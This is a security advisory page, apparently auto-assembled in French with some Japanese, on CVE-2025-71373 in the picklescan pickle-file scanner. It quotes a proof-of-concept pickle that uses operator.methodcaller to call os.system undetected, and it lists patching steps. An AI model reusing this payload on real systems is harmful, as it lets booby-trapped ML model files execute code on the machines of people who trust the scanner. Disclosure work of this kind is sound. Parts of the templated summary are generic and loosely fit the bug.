Vulnérabilité dans picklescan (CVE-2025-71373)
Résumé
Vulnérabilité dans picklescan (CVE-2025-71373). Des informations confidentielles peuvent être exposées. Exploitable via operator.methodcaller. Atténuation : mise à jour vers 0.0.33 ou plus.
Description d'origine
La description telle que publiée par la source (souvent en anglais).
Summary
Picklescan uses operator.methodcaller, which is a built-in python library function to execute remote pickle files.
Details
The attack payload executes in the following steps:
- First, the attacker crafts the payload by calling the
operator.methodcallerfunction in methodreduce. - Then, when the victim checks whether the pickle file is safe using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.
PoC
import pickle
import pickletools
opcode1 = b'''cbuiltins
__import__
(Vos
tRp0
0coperator
methodcaller
(Vsystem
Vecho "pwned by operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode1)
pickle.loads(opcode1)
This PoC can't be easily created by pickle.dumps, therefore it was manually built.
Impact
Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Report by
Pinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).
Source: NIST National Vulnerability Database NVD GitHub Advisory
Résumé généré automatiquement
Assemblé par SecPulse à partir des données sources (CVSS, CWE, versions affectées) à l'aide de modèles, sans IA. Vérifiez la description d'origine et les références ci-dessous.
Une vulnérabilité référencée CVE-2025-71373 a été découverte dans picklescan.
Des attaquants peuvent cibler un point d'entrée spécifique comme operator.methodcaller à distance pour détourner le produit.
Des informations confidentielles peuvent être exposées. Score CVSS : 8.1/10.
Action : mettez à jour picklescan vers 0.0.33 ou supérieur.
En cas de doute, contactez votre service informatique ou cherchez « picklescan CVE-2025-71373 » sur le site de l'éditeur.
CVE-2025-71373 (picklescan) — CWE-693 / CVSS v3 8.1
Vecteur d'attaque : distant (réseau) / non authentifié
Surface d'attaque : operator.methodcaller / reduce
Correctif : 0.0.33 — appliquer immédiatement
Plan : 1) Audit SBOM, 2) Mise à jour staging→prod, 3) Surveillance WAF/proxy sur les endpoints affectés, 4) Recherche d'IOC dans les logs.
Réfs : voir GHSA / avis éditeur / version corrigée liés sur cette page.
Une vulnérabilité (CWE-693) affecte picklescan. Les attaquants atteignent le code vulnérable via operator.methodcaller sans authentification.
Consultez l'avis de l'éditeur pour les versions affectées de picklescan. Surface d'attaque : operator.methodcaller / reduce.
Gravité : Élevée (CVSS 8.1/10). Des informations confidentielles peuvent être exposées.
Mettre à jour vers 0.0.33.
En attendant le correctif : désactivez la fonctionnalité concernée, appliquez des règles WAF, ou restreignez l'accès par ACL réseau.
Recherchez dans les logs des requêtes correspondant aux IOC connus de cette CVE. Auditez les SBOM/dépendances.
Actions de réponse
Étapes concrètes et exemples de commandes que les équipes SOC/SRE doivent exécuter dans l'ordre
-
1Identify exposure identify
grep -r 'picklescan' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
picklescanを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade picklescan to 0.0.33ステージング環境で 0.0.33 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Paquets affectés
Références
- package github.com
- web github.com
- web disclosure@vulncheck.com
- web nvd.nist.gov
- web github.com
- web github.com
- web github.com